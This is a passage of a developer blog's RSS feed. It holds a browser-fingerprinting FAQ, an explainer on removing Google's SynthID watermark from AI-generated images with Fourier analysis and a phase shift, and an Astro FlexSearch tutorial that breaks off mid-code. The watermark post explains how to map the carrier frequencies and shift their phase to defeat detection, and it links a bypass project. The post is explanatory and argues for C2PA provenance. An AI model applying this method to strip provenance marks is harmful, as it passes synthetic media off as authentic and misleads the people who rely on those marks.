name: &quot;What&apos;s the difference between cookies and browser fingerprints?&quot;,
acceptedAnswer: {
&quot;@type&quot;: &quot;Answer&quot;,
text: &quot;A cookie is a small file stored on your machine that a site reads back. You can delete it. A fingerprint is the combination of features of the machine itself (installed fonts, screen size, fixed HTTP headers, timezone). You cannot delete what isn&apos;t stored. Cookies are clip-on trackers; fingerprints are license plates.&quot;,
},
},
{
&quot;@type&quot;: &quot;Question&quot;,
name: &quot;Does a VPN protect against browser fingerprinting?&quot;,
acceptedAnswer: {
&quot;@type&quot;: &quot;Answer&quot;,
text: &quot;No. A VPN rewrites your source IP but does not change your installed fonts, screen resolution, timezone, or any of the other fingerprint signals. A tracker watching the fingerprint will recognize you across different VPN exit IPs as the same browser.&quot;,
},
},
{
&quot;@type&quot;: &quot;Question&quot;,
name: &quot;Why is Chrome the worst browser for privacy right now?&quot;,
acceptedAnswer: {
&quot;@type&quot;: &quot;Answer&quot;,
text: &quot;Chrome ships passive fingerprinting protection via User-Agent Reduction (default-on since Chrome 116) but no active protection against the font, canvas, or WebGL fingerprinting techniques that fingerprinters actually use. Firefox, Tor, and DuckDuckGo all ship active protection by default. On top of that, Chrome has been silently downloading the 4 GB Gemini Nano model onto user disks without a consent dialog.&quot;,
},
},
{
&quot;@type&quot;: &quot;Question&quot;,
name: &quot;Which browser protects against fingerprinting?&quot;,
acceptedAnswer: {
&quot;@type&quot;: &quot;Answer&quot;,
text: &quot;Firefox with Enhanced Tracking Protection set to Strict, the DuckDuckGo browser with default-on fingerprinting protection, or the Tor Browser for the strongest defense. Tor works by making every user&apos;s fingerprint identical rather than by trying to delete fingerprint signals.&quot;,
},
},
{
&quot;@type&quot;: &quot;Question&quot;,
name: &quot;How do you test your own browser fingerprint?&quot;,
acceptedAnswer: {
&quot;@type&quot;: &quot;Answer&quot;,
text: &quot;Visit coveryourtracks.eff.org and run the test. It probes your browser the way a real tracker would and reports how many browsers in their dataset share your exact fingerprint. The number under the Fonts row is the most revealing signal.&quot;,
},
},
],
})}
/&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>The Phase Shift Attack: How Fourier Math Strips an AI Watermark</title><link>https://didof.dev/blog/phase-shift-attack-fourier-explainer/</link><guid isPermaLink="true">https://didof.dev/blog/phase-shift-attack-fourier-explainer/</guid><description>How a Fourier transform exposes an AI watermark&apos;s frequencies, and how a phase shift drops SynthID detection by 91% at 43 dB PSNR.</description><pubDate>Sat, 09 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import Fourier from &quot;./fft.astro&quot;
import PhaseShift from &quot;./phase-shift.astro&quot;&lt;/p&gt;
&lt;p&gt;Google shipped SynthID with a strong claim: an invisible signature so deep in the math that no compression, no screenshot, no casual edit would knock it loose. Within months, an independent developer named Alosh Denny mapped that signature with a few lines of signal processing and removed it without changing a pixel a human could see. The detector confidence dropped 91% and the image stayed at 43 dB PSNR, which means visually identical to the original.&lt;/p&gt;
&lt;p&gt;I want to walk through the actual math behind that attack, not the news beat. The widgets in this post let you play with the same primitives the attack uses. By the end you&apos;ll see why hiding a static signal in the frequency domain is a structural fragility, not a tuning problem you can patch your way out of.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SynthID hides its watermark in specific frequency bins of the image, invisible in pixel space and revealed only by a Fourier transform.&lt;/li&gt;
&lt;li&gt;Generating pure white and pure black images from Gemini gives a near-zero visual baseline. Whatever frequency energy survives is the watermark.&lt;/li&gt;
&lt;li&gt;The spectral codebook places channel weights at Green 1.0, Red 0.85, Blue 0.7. Map those frequencies once and you have an extractable key.&lt;/li&gt;
&lt;li&gt;A phase shift on the watermark&apos;s carrier wave moves it out of detector lock-in. Confidence collapses without any visible change to the image.&lt;/li&gt;
&lt;li&gt;The lesson is structural. A defense that lives at fixed coordinates is something an attacker can map and bypass. Cryptographic provenance like C2PA lives outside the file, which is a different security model entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you want the broader story across all three SynthID attacks (spectral analysis, diffusion re-nosing, text paraphrasing), that&apos;s covered in &lt;a href=&quot;/blog/how-synthid-was-broken&quot;&gt;How SynthID Was Broken&lt;/a&gt;. This post zooms in on the math behind the phase-shift attack and shows it in motion.&lt;/p&gt;
&lt;h2&gt;Why an Invisible Watermark Lives in Frequencies&lt;/h2&gt;
&lt;p&gt;You can&apos;t hide a logo in the corner. Cropping kills it.&lt;/p&gt;
&lt;p&gt;You can&apos;t tint every pixel by 1%. Re-saving as JPEG kills it.&lt;/p&gt;
&lt;p&gt;The constraint on an &quot;invisible&quot; watermark is brutal: it must survive screenshots, mild compression, casual color shifts, and platform re-encoding, and it must not change anything a human eye can see. There aren&apos;t many places to hide a signal that meets all four constraints. The frequency domain is one of the few.&lt;/p&gt;
&lt;p&gt;Think of every image as a stack of sine waves layered on top of each other. Big slow waves carry the broad shapes. Small fast waves carry texture and edges. The Fourier transform decomposes the image into those waves and tells you exactly how much of each frequency is present. SynthID picks specific bins in that frequency map and pushes a tiny amount of energy into them. To you, the image looks unchanged. To the detector running its own Fourier transform, the energy at those bins is a signature.&lt;/p&gt;
&lt;p&gt;The trick is real engineering. The fragility is also real, and it kicks in the moment somebody asks one question: where exactly are those bins?&lt;/p&gt;
&lt;h2&gt;The Fourier Transform, Without the Math&lt;/h2&gt;
&lt;p&gt;Picture a smoothie. Strawberries, blueberries, half a banana. Once you blend it, the result is one purple liquid. You can&apos;t tell what&apos;s inside by looking at it. Now imagine a magical filter that can separate it back into the original ingredients and tell you the exact amounts.&lt;/p&gt;
&lt;p&gt;That is what a Fourier transform does to a signal. The blended smoothie is the wave you see. The recipe of &quot;12 strawberries, 30 blueberries, half a banana&quot; is the spectrum of frequencies that built it. The transform un-blends.&lt;/p&gt;
&lt;p&gt;Below is a Fourier explorer with five harmonic sliders. The fundamental at full strength gives you a clean sine wave. Add the third harmonic and the shape sharpens toward a square. Add even harmonics and it skews. The bottom panel is the spectrum: the recipe behind whatever wave you just built.&lt;/p&gt;
&lt;p&gt;&amp;lt;Fourier /&amp;gt;&lt;/p&gt;
&lt;p&gt;A few things to notice as you play with it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A pure tone (one slider up, the rest at zero) gives the cleanest possible spectrum: one bar, nothing else.&lt;/li&gt;
&lt;li&gt;Combining harmonics produces complex shapes from simple ingredients. Reverse-engineering means looking at the bottom panel and reading off the recipe.&lt;/li&gt;
&lt;li&gt;The spectrum is exactly what an attacker sees when they Fourier-transform a watermarked image. If a bin is suspiciously hot, that&apos;s the watermark.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hit Play and the same five sliders also drive five oscillators at 216 Hz × 1, 2, 3, 4, 5. That&apos;s an A3 in the 432 Hz reference tuning, the same one &lt;a href=&quot;https://velocaption.com&quot;&gt;Velocaption&lt;/a&gt; uses for its recording cues, picked over the 440 Hz standard for the cleaner intervallic ratios it produces in short sequences. Move the fundamental alone and you hear a steady low A. Add the third and fifth harmonics on top and the timbre walks toward a square wave, the classic lesson from any synthesis textbook. The math you see and the math you hear are the same math.&lt;/p&gt;
&lt;h2&gt;Finding the Carrier Frequencies&lt;/h2&gt;
&lt;p&gt;A normal photograph has frequency energy everywhere. Edges, textures, gradients, noise: the spectrum is a busy mess. Trying to find a low-power watermark in that mess is like trying to hear a whisper in a packed bar.&lt;/p&gt;
&lt;p&gt;So you don&apos;t take a photograph.&lt;/p&gt;
&lt;p&gt;You ask Gemini to generate a pure white image, then a pure black image. A flat, uniform image has almost no frequency content. The spectrum of a perfect white field is a single spike at DC (the zero-frequency bin) and nothing else. So if you generate a &quot;white&quot; image from a watermarked model and look at the spectrum, every bin that lights up beyond the DC spike has to be the watermark. There&apos;s nothing else it could be.&lt;/p&gt;
&lt;p&gt;That&apos;s how the &lt;a href=&quot;https://github.com/00quebec/Synthid-Bypass&quot;&gt;Synthid-Bypass&lt;/a&gt; project mapped what it calls the spectral codebook: a list of frequency coordinates per resolution, plus the channel weights. The watermark isn&apos;t spread evenly. It hits the green channel hardest at weight 1.0, red at 0.85, and blue at 0.7. Once you have the codebook, you have the key.&lt;/p&gt;
&lt;p&gt;A defender&apos;s instinct here is &quot;OK, then randomize the bins per image.&quot; The problem: the detector also has to find the watermark, with no extra information. So whatever the detector does to lock onto the signal, the attacker can do too. This is the structural part. The detector&apos;s algorithm and the attacker&apos;s algorithm are doing the same job from opposite directions.&lt;/p&gt;
&lt;h2&gt;The Phase Shift Attack&lt;/h2&gt;
&lt;p&gt;Here&apos;s where it gets surgical.&lt;/p&gt;
&lt;p&gt;Brute-force watermark removal is old. Compress the file hard, blur it, add grain. The watermark dies. So does the image. That&apos;s not an attack, it&apos;s vandalism.&lt;/p&gt;
&lt;p&gt;A phase-shift attack is different. The watermark isn&apos;t just energy at a bin, it&apos;s energy with a specific phase, meaning the wave peaks at a specific position. The detector is checking for that exact alignment. Two waves at the same frequency but offset in phase are like two people clapping at slightly different times: individually each one claps fine, but together they no longer sound like one clap.&lt;/p&gt;
&lt;p&gt;When two waves are perfectly in phase, peak meets peak, and they reinforce. Constructive interference. When one is shifted by 180 degrees, peak meets trough, and they cancel. Destructive interference. Anywhere in between you get a partial cancellation. The detector measures coherence. As coherence drops, confidence drops.&lt;/p&gt;
&lt;p&gt;This is what the attack does. It nudges the phase of the watermark&apos;s carrier signal at exactly the bins from the spectral codebook. Image-wide pixel statistics barely change because the energy is still there, just shifted. PSNR holds at 43 dB. Visually, nothing happened. To the detector, the lock is broken.&lt;/p&gt;
&lt;p&gt;Here&apos;s the same dynamic in a single slider. Drag the attack intensity from 0 to 180 and watch the actual signal slide out of phase against the detector&apos;s expected pattern. The confidence card flips when coherence collapses.&lt;/p&gt;
&lt;p&gt;&amp;lt;PhaseShift /&amp;gt;&lt;/p&gt;
&lt;p&gt;A few specifics worth tying to the widget:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At 0 degrees, expected and actual overlap perfectly. The detector sees full coherence and reports near-100% confidence.&lt;/li&gt;
&lt;li&gt;The drop is not linear. It follows a cosine-squared curve, which is what coherence does in real signal-detection problems.&lt;/li&gt;
&lt;li&gt;At around 90 degrees, you&apos;ve already crossed the typical detection threshold. You don&apos;t need full destructive interference, just enough misalignment.&lt;/li&gt;
&lt;li&gt;The image quality stays at 43 dB PSNR throughout because the attack only touches the bins from the spectral codebook. Everywhere else the image is untouched.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hit Play here and the cancellation becomes audible. Two 432 Hz sine waves go to the speakers. One of them is delayed by &lt;code&gt;(shift / 360) × (1/432)&lt;/code&gt; seconds, which is the time-domain way to express a phase offset. At 0° you hear a strong, steady A. Drag toward 180° and the volume collapses into near-silence as peaks meet troughs. That&apos;s the same destructive interference noise-cancelling headphones use, and it&apos;s exactly what the watermark detector is seeing in the frequency domain when its lock breaks.&lt;/p&gt;
&lt;p&gt;This is what makes the attack feel almost mathematical rather than physical. You aren&apos;t damaging the image. You&apos;re rotating a vector in a space the human visual system can&apos;t perceive.&lt;/p&gt;
&lt;h2&gt;Why This Is Structural, Not a Bug&lt;/h2&gt;
&lt;p&gt;It&apos;s tempting to read this as &quot;bad implementation, fix in v2.&quot; That&apos;s not what&apos;s happening.&lt;/p&gt;
&lt;p&gt;Any invisible watermark has to be both:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Findable by the detector&lt;/strong&gt; with no side information about which image it is looking at. The detector receives a random image and has to decide &quot;watermarked or not.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Survivable across normal handling&lt;/strong&gt;. Compression, screenshots, mild color edits, platform re-encoding.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Those constraints push the watermark toward fixed coordinates and fixed phases. The same fixed coordinates and phases are what the attacker maps once with the white-and-black-image trick, then targets forever. You can complicate the math (per-resolution codebooks, more carrier bins, multiple phase templates), but you can&apos;t hide the existence of the structure from somebody who can probe it.&lt;/p&gt;
&lt;p&gt;This is the same shape of vulnerability as a stream cipher that reuses its keystream. The cipher itself can be strong. If the key is exposed, none of the strength matters. SynthID&apos;s phase template is that key, and it&apos;s exposed by definition because the detector needs to use it.&lt;/p&gt;
&lt;h2&gt;So What Actually Works?&lt;/h2&gt;
&lt;p&gt;Inside the file, not much. Anything you embed in the pixels has to balance invisibility against survivability, and that balance always leaves a static signal somewhere.&lt;/p&gt;
&lt;p&gt;Outside the file, you have a different option: explicit cryptographic metadata that the generator signs and ships alongside the image. That&apos;s the C2PA approach. Instead of hiding &quot;this is AI&quot; inside the pixels, you attach a signed manifest that says &quot;this came from Imagen at 14:32 UTC, here&apos;s the chain of custody.&quot; Re-saving the image strips the manifest, but the absence of the manifest is itself a signal in any ecosystem that expects it. It&apos;s the same shift in mindset as moving from page metadata buried in HTML attributes to explicit &lt;a href=&quot;/blog/json-ld-structured-data&quot;&gt;JSON-LD structured data&lt;/a&gt;: say what you mean, sign it, and stop trusting detectors to guess.&lt;/p&gt;
&lt;p&gt;So invisible watermarks are speed bumps. They catch lazy misuse, give platforms a quick check, and raise the cost for casual actors. Against somebody with a Fourier transform and 20 minutes, they don&apos;t hold. Pretending otherwise is worse than admitting it, because users who think the watermark is a hard guarantee will trust media they shouldn&apos;t.&lt;/p&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;
&lt;h3&gt;Why does the white-image trick reveal the watermark?&lt;/h3&gt;
&lt;p&gt;A pure white or pure black image has almost no frequency content of its own. The spectrum should be one spike at DC and silence everywhere else. Anything that shows up beyond that spike has to come from the watermark, since the model wasn&apos;t asked to generate any visual content. The clean baseline is what makes the watermark&apos;s carrier bins jump out.&lt;/p&gt;
&lt;h3&gt;Doesn&apos;t shifting the phase change the image?&lt;/h3&gt;
&lt;p&gt;Mathematically yes, but the change happens only at the watermark&apos;s carrier frequencies, which are sub-visible by design. The total energy is preserved (the wave is rotated, not removed), so pixel-level statistics like PSNR stay near identical. The Synthid-Bypass project measures 43 dB PSNR after the attack, which is well above what humans can perceive.&lt;/p&gt;
&lt;h3&gt;Could SynthID randomize phase per image to defend against this?&lt;/h3&gt;
&lt;p&gt;In principle yes, but then the detector also has to recover the random phase from the image alone with no extra metadata. Whatever procedure recovers the phase becomes the new attack surface, since the attacker can run the same procedure. The structural problem is that defender and attacker have symmetric capabilities once the image is public.&lt;/p&gt;
&lt;h3&gt;Is this specific to SynthID or does it apply to other frequency-domain watermarks?&lt;/h3&gt;
&lt;p&gt;The technique generalizes. Any watermark that places a signal at known frequency coordinates with a fixed phase template is vulnerable to spectral mapping followed by a phase shift. The defenses worth investigating are typically not &quot;make the math harder&quot; but &quot;move the trust to a different layer,&quot; which is the C2PA argument.&lt;/p&gt;
&lt;h3&gt;What&apos;s the difference between this and just compressing the image to kill the watermark?&lt;/h3&gt;
&lt;p&gt;Aggressive compression destroys the watermark by destroying the image. PSNR drops, edges soften, color banding appears. The phase-shift attack is surgical: it touches only the carrier bins, which are below the visual threshold. The image stays sharp, the file stays the same size, and the watermark is gone.&lt;/p&gt;
&lt;h2&gt;Related Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/blog/how-synthid-was-broken&quot;&gt;How SynthID Was Broken&lt;/a&gt;. The full news-analysis sibling, covering all three attacks (spectral, diffusion re-nosing, text paraphrasing) and the practical implications for platform trust signals.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/00quebec/Synthid-Bypass&quot;&gt;Synthid-Bypass on GitHub&lt;/a&gt;. Source code, V2 ComfyUI workflow, spectral codebook, channel weights, the full attack pipeline.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/json-ld-structured-data&quot;&gt;JSON-LD Structured Data&lt;/a&gt;. Same flavor of &quot;explicit, machine-readable, signed declarations&quot; that C2PA leans on for provenance.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Astro FlexSearch: Build a Fast Offline Search Index for Your Blog</title><link>https://didof.dev/blog/astro-offline-precomputed-flexsearch/</link><guid isPermaLink="true">https://didof.dev/blog/astro-offline-precomputed-flexsearch/</guid><description>Index 35 posts in under 100ms. Prerender one JSON file at build time, fetch lazily on Cmd+K, query with FlexSearch in the browser. Zero server cost.</description><pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import Mermaid from &quot;@/components/mermaid.astro&quot;;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: Prerender one JSON file at build time. Fetch it lazily on &lt;code&gt;Cmd+K&lt;/code&gt;. Index it in memory with FlexSearch. Result: zero search-related JS or data on first paint, sub-100ms indexing for ~35 posts, no server. Part 2 covers &lt;a href=&quot;/blog/astro-search-deep-link-highlight&quot;&gt;deep-linking results to the exact matched word&lt;/a&gt; and the fight with Astro&apos;s &lt;code&gt;&amp;lt;ClientRouter /&amp;gt;&lt;/code&gt; along the way.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Most &quot;add search to your Astro site&quot; tutorials I&apos;ve read do roughly the same thing: in the browser, fetch every post&apos;s full body, build the index on the fly, search it. That&apos;s fine when there are five posts. By thirty it starts to feel slow on first open. By three hundred you&apos;re shipping a megabyte of MDX over the wire just to find out the user typed &quot;arduino&quot;.&lt;/p&gt;
&lt;p&gt;There&apos;s a better split, and it&apos;s the one I&apos;m running on didof.dev right now: do the heavy lifting at build time, ship a single prerendered JSON file, and let &lt;a href=&quot;https://github.com/nextapps-de/flexsearch&quot;&gt;FlexSearch&lt;/a&gt; chew through it in memory after the user opens the search palette.&lt;/p&gt;
&lt;p&gt;This post walks through the actual implementation, including the Astro 5 gotcha that cost me an evening before I caught it.&lt;/p&gt;
&lt;h2&gt;What we&apos;re building&lt;/h2&gt;
&lt;p&gt;A &lt;code&gt;Cmd+K&lt;/code&gt; search palette that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Loads its index lazily on first open (zero cost on page load).&lt;/li&gt;
&lt;li&gt;Searches across post title, description, tags, keywords, categories, and full body text.&lt;/li&gt;
&lt;li&gt;Renders 16:9 thumbnails for blog results, generated at build time.&lt;/li&gt;
&lt;li&gt;Highlights category and tag matches as colored pills when the query hits them.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here&apos;s the flow at a glance:&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid
chart={&lt;code&gt;flowchart LR   subgraph Build[&quot;Build time (Astro)&quot;]     A[&quot;Content collection&amp;lt;br/&amp;gt;blog/*/en.mdx&quot;] --&amp;gt; B[&quot;/api/search.json&quot;]     A --&amp;gt; C[&quot;getImage 192x108&amp;lt;br/&amp;gt;webp thumbnails&quot;]     C --&amp;gt; B   end   subgraph Runtime[&quot;Runtime (browser)&quot;]     D[&quot;User hits Cmd+K&quot;] --&amp;gt; E[&quot;fetch /api/search.json&quot;]     E --&amp;gt; F[&quot;FlexSearch.Document&amp;lt;br/&amp;gt;build index in memory&quot;]     F --&amp;gt; G[&quot;Query as user types&quot;]   end   Build -.deploy.-&amp;gt; Runtime  &lt;/code&gt;}
/&amp;gt;&lt;/p&gt;
&lt;p&gt;Two halves, clean boundary. The build half runs once per deploy. The runtime half runs once per session, after the user actually wants to search. Both stay simple because neither knows about the other.&lt;/p&gt;
&lt;h2&gt;The endpoint&lt;/h2&gt;
&lt;p&gt;Astro will happily prerender a JSON API route if you give it &lt;code&gt;getStaticPaths&lt;/code&gt; and don&apos;t mark it as on-demand. That means we can write what looks like a server endpoint and end up with a static file in the deploy output.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// src/pages/api/search.json.ts
import { getCollection } from &quot;astro:content&quot;;
import { getImage } from &quot;astro:assets&quot;;
import { isPublished } from &quot;@/lib/posts&quot;;

export async function GET() {
  const posts = await getCollection(&quot;blog&quot;);
  const publishedPosts = posts
    .filter((post) =&amp;gt; post.id.endsWith(&quot;/en&quot;))
    .filter(isPublished);

  const blogItems = await Promise.all(
    publishedPosts.map(async (post) =&amp;gt; {
      const slug = post.id.split(&quot;/&quot;).slice(0, -1).join(&quot;/&quot;);
      const tags = (post.data.tags ?? []) as string[];
      const keywords = (post.data.keywords ?? []) as string[];
      const categories = (post.data.categories ?? []).map(
        (c: { id: string } | string) =&amp;gt; (typeof c === &quot;string&quot; ? c : c.id),
      );
      const body = extractSearchableText(post.body ?? &quot;&quot;);
      const description = post.data.description ?? &quot;&quot;;

      const searchText = [
        post.data.title,
        description,
        tags.join(&quot; &quot;),
        keywords.join(&quot; &quot;),
        categories.join(&quot; &quot;),
        body,
      ]
        .filter(Boolean)
        .join(&quot; &quot;);

      let thumbnail = null;
      if (post.data.cover) {
        const img = await getImage({
          src: post.data.cover,
          width: 192,
          height: 108,
          format: &quot;webp&quot;,
          fit: &quot;cover&quot;,
        });
        thumbnail = { src: img.src, width: 192, height: 108 };
      }

      return {
        id: `blog-${slug}`,
        type: &quot;blog&quot; as const,
        title: post.data.title,
        description,
        tags,
        categories,
        url: `/blog/${slug}`,
        body,
        searchText,
        thumbnail,
      };
    }),
  );

  return new Response(JSON.stringify(blogItems), {
    headers: { &quot;Content-Type&quot;: &quot;application/json&quot; },
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A few things worth pointing out, because each one is a small decision that adds up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Static API route&lt;/strong&gt;: Astro generates &lt;code&gt;/api/search.json&lt;/code&gt; at build time. It&apos;s a plain static file. Cache it forever and let the CDN do its job.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;isPublished&lt;/code&gt; filter&lt;/strong&gt;: a tiny helper that respects the &lt;code&gt;publish_after&lt;/code&gt; and &lt;code&gt;draft&lt;/code&gt; fields. Drafts have no business in a public search index.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;getImage&lt;/code&gt;&lt;/strong&gt;: from &lt;code&gt;astro:assets&lt;/code&gt;. Resolves the post&apos;s cover image (a relative import in frontmatter) into a build-optimized webp at 192x108. We bake the URL into the JSON so the client renders it directly. No client-side image processing, no layout shift.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Promise.all&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;getImage&lt;/code&gt; is async. Without &lt;code&gt;Promise.all&lt;/code&gt; you serialize image generation across every post and the build slows to a crawl on a large blog.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The Astro 5 gotcha that cost me an evening&lt;/h2&gt;
&lt;p&gt;Look at the filter again:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.filter((post) =&amp;gt; post.id.endsWith(`/${locale}`))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In Astro 4, with the legacy content collections loader, &lt;code&gt;post.id&lt;/code&gt; included the file extension: &lt;code&gt;my-post/en.md&lt;/code&gt; or &lt;code&gt;my-post/en.mdx&lt;/code&gt;. Most tutorials still tell you to filter with &lt;code&gt;endsWith(&apos;/${locale}.md&apos;)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Astro 5&apos;s &lt;code&gt;glob()&lt;/code&gt; loader strips extensions. &lt;code&gt;post.id&lt;/code&gt; is now &lt;code&gt;my-post/en&lt;/code&gt;, full stop. If you carry the old &lt;code&gt;.md&lt;/code&gt; filter forward, every single post gets filtered out and your search returns nothing. The endpoint still serves a perfectly valid JSON file. It&apos;s just empty.&lt;/p&gt;
&lt;p&gt;The symptom: search for &quot;arduino&quot;, get zero results, even though there&apos;s an obvious arduino post on the site. The fix is one character. The discovery took me longer than I&apos;d like to admit.&lt;/p&gt;
&lt;p&gt;If you hit this, build with &lt;code&gt;astro build&lt;/code&gt;, open &lt;code&gt;dist/api/search.json&lt;/code&gt; in a real text editor, and count the items. If it&apos;s &lt;code&gt;[]&lt;/code&gt;, you know.&lt;/p&gt;
&lt;h2&gt;Stripping MDX and Markdown noise&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;post.body&lt;/code&gt; is the raw source: imports, JSX components, fenced code blocks, link syntax, emphasis markers, the lot. Indexing it raw means every search for &quot;import&quot; matches every post. We need clean prose.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function extractSearchableText(raw: string): string {
  let text = raw;
  // MDX import/export lines
  text = text.replace(/^\s*(import|export)\s.+$/gm, &quot; &quot;);
  // Fenced code blocks
  text = text.replace(/```[\s\S]*?```/g, &quot; &quot;);
  // Inline code
  text = text.replace(/`[^`\n]*`/g, &quot; &quot;);
  // JSX self-closing tags
  text = text.replace(/&amp;lt;[A-Z][\w.]*[^&amp;gt;]*\/&amp;gt;/g, &quot; &quot;);
  // JSX paired tags (best effort, non-greedy)
  text = text.replace(/&amp;lt;([A-Z][\w.]*)[^&amp;gt;]*&amp;gt;[\s\S]*?&amp;lt;\/\1&amp;gt;/g, &quot; &quot;);
  // HTML tags
  text = text.replace(/&amp;lt;\/?[a-z][\w-]*[^&amp;gt;]*&amp;gt;/gi, &quot; &quot;);
  // Markdown images: keep the alt text
  text = text.replace(/!\[([^\]]*)\]\([^)]*\)/g, &quot; $1 &quot;);
  // Markdown links: keep the link text
  text = text.replace(/\[([^\]]+)\]\([^)]*\)/g, &quot; $1 &quot;);
  // Heading markers
  text = text.replace(/^#{1,6}\s+/gm, &quot;&quot;);
  // Emphasis markers
  text = text.replace(/[*_~]{1,3}/g, &quot;&quot;);
  // Blockquote markers
  text = text.replace(/^&amp;gt;\s?/gm, &quot;&quot;);
  // List markers
  text = text.replace(/^\s*([-*+]|\d+\.)\s+/gm, &quot;&quot;);
  return text.replace(/\s+/g, &quot; &quot;).trim();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yes, it&apos;s a pile of regexes. No, it&apos;s not a real Markdown parser. It doesn&apos;t need to be. The output is for a fuzzy text index, not for rendering. A few false positives in either direction are fine. What matters is that JSX components, code blocks, and import lines don&apos;t pollute matches.&lt;/p&gt;
&lt;p&gt;If you want to be more rigorous, swap this for &lt;a href=&quot;https://github.com/remarkjs/remark&quot;&gt;&lt;code&gt;remark&lt;/code&gt;&lt;/a&gt; with a stringify pipeline. For didof.dev&apos;s volume, the regex approach is plenty.&lt;/p&gt;
&lt;h2&gt;One combined &lt;code&gt;searchText&lt;/code&gt; field, not many&lt;/h2&gt;
&lt;p&gt;FlexSearch&apos;s &lt;a href=&quot;https://github.com/nextapps-de/flexsearch#document-search&quot;&gt;&lt;code&gt;Document&lt;/code&gt;&lt;/a&gt; API lets you index multiple fields independently:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new FlexSearch.Document({
  document: {
    id: &quot;id&quot;,
    index: [&quot;title&quot;, &quot;description&quot;, &quot;body&quot;, &quot;tags&quot;],
    store: true,
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&apos;d think this is the right move. It isn&apos;t, in my experience. Per-field indexes mean the user has to type a query that hits the right field. &quot;arduino&quot; in the title scores differently from &quot;arduino&quot; in the body, and merging the field results is something &lt;em&gt;you&lt;/em&gt; end up writing.&lt;/p&gt;
&lt;p&gt;The simpler approach: build one combined &lt;code&gt;searchText&lt;/code&gt; string per item that already includes title, description, tags, keywords, categories, and body. Index that one field. Score and rank are the same regardless of where the term appears.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const searchText = [
  post.data.title,
  description,
  tags.join(&quot; &quot;),
  keywords.join(&quot; &quot;),
  categories.join(&quot; &quot;),
  body,
]
  .filter(Boolean)
  .join(&quot; &quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Smaller index, simpler query, fewer surprises. The store still keeps title, description, tags, and categories as separate fields so the UI can render them properly.&lt;/p&gt;
&lt;h2&gt;The client island&lt;/h2&gt;
&lt;p&gt;The search palette is a React island, hydrated on demand. The relevant config:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import FlexSearch from &quot;flexsearch&quot;;

const index = useMemo(
  () =&amp;gt;
    new FlexSearch.Document({
      document: {
        id: &quot;id&quot;,
        index: [&quot;searchText&quot;],
        store: [
          &quot;title&quot;,
          &quot;description&quot;,
          &quot;tags&quot;,
          &quot;categories&quot;,
          &quot;url&quot;,
          &quot;type&quot;,
          &quot;thumbnail&quot;,
        ],
      },
      tokenize: &quot;forward&quot;,
      cache: true,
    }),
  [],
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three things going on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;index: [&apos;searchText&apos;]&lt;/code&gt;&lt;/strong&gt;: only the combined field is tokenized and indexed. Everything else is just storage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;store: [...]&lt;/code&gt;&lt;/strong&gt;: list of fields kept verbatim so search hits return enough metadata to render result rows. Note that &lt;code&gt;id&lt;/code&gt; isn&apos;t in the store. FlexSearch returns it separately on each hit, so when reconstructing items I do &lt;code&gt;{ id: hit.id, ...hit.doc }&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;tokenize: &apos;forward&apos;&lt;/code&gt;&lt;/strong&gt;: prefix tokenizer. Typing &quot;ardu&quot; matches &quot;arduino&quot;, which is the behavior users expect from a live search-as-you-type palette.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Fetching and indexing happens on first open, not on page load:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;useEffect(() =&amp;gt; {
  if (!isOpen || data) return;
  setIsLoading(true);
  fetch(`/api/search/${locale}.json`)
    .then((r) =&amp;gt; r.json())
